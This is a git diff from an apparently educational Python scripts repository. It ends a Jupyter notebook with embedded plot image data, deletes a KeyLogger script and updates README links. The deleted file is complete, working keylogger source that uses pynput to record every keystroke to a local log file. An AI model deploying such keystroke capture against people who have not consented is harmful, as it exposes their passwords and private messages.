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", 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" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "plt.figure(figsize=(13,6))\n", + "\n", + "ds3=scaler.inverse_transform(ds3).tolist()\n", + "plt.plot(ds3)\n", + "\n", + "plt.show()" + ] + } + ], + "metadata": { + "colab": { + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3.9.5 64-bit", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.9.5" + }, + "vscode": { + "interpreter": { + "hash": "e3b5fbd04f68e2b0d30e8aa6dfd8616d885f307650246806c8ef721be6274b54" + } + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/OTHERS/KeyLogger/KeyloggerProject.py b/OTHERS/KeyLogger/KeyloggerProject.py deleted file mode 100644 index 40a70c4f..00000000 --- a/OTHERS/KeyLogger/KeyloggerProject.py +++ /dev/null @@ -1,35 +0,0 @@ -import pynput -from pynput.keyboard import Key, Listener - -keys = [] - - - -def on_press(key): - keys.append(key) - write_file(keys) - - try: - print('alphanumeric key {0} pressed'.format(key.char)) - - except AttributeError: - print('special key {0} pressed'.format(key)) - - -def write_file(keys): - with open('log.txt', 'a') as f: - for key in keys: - k = str(key).replace("'", "") - f.write(k) - - f.write(' ') - -def on_release(key): - print('{0} released'.format(key)) - if key == Key.esc: - return False - - -with Listener(on_press=on_press, - on_release=on_release) as listener: - listener.join() diff --git a/README.md b/README.md index 6bd549c2..2aab9657 100644 --- a/README.md +++ b/README.md @@ -112,6 +112,6 @@ guide [HERE](https://github.com/larymak/Python-project-Scripts/blob/main/CONTRIB | 61 | [PyQuiz](https://github.com/larymak/Python-project-Scripts/tree/main/GUI/PyQuiz) | [Eduardo C.](https://github.com/ehcelino) | | 62 | [Dates](https://github.com/larymak/Python-project-Scripts/tree/main/GUI/Dates) | [Eduardo C.](https://github.com/ehcelino) | | 63 | [QtQuiz](https://github.com/larymak/Python-project-Scripts/tree/main/GUI/QtQuiz) | [Eduardo C.](https://github.com/ehcelino) | -| 64 | [Umbrella Reminder](https://github.com/larymak/Python-project-Scripts/tree/main/AUTOMATION/Umbrella%20Reminder) | [Edula Vinay Kumar Reddy](https://github.com/vinayedula) | +| 64 | [Umbrella Reminder](https://github.com/larymak/Python-project-Scripts/tree/main/TIME%20SCRIPTS/Umbrella%20Reminder) | [Edula Vinay Kumar Reddy](https://github.com/vinayedula) | | 65 | [Image to PDF](https://github.com/larymak/Python-project-Scripts/tree/main/IMAGES%20%26%20PHOTO%20SCRIPTS/Image%20to%20PDF) | [Vedant Chainani](https://github.com/Envoy-VC) | | 66 | [KeyLogger](https://github.com/larymak/Python-project-Scripts/tree/main/OTHERS/KeyLogger) | [Akhil](https://github.com/akhil-chagarlamudi) |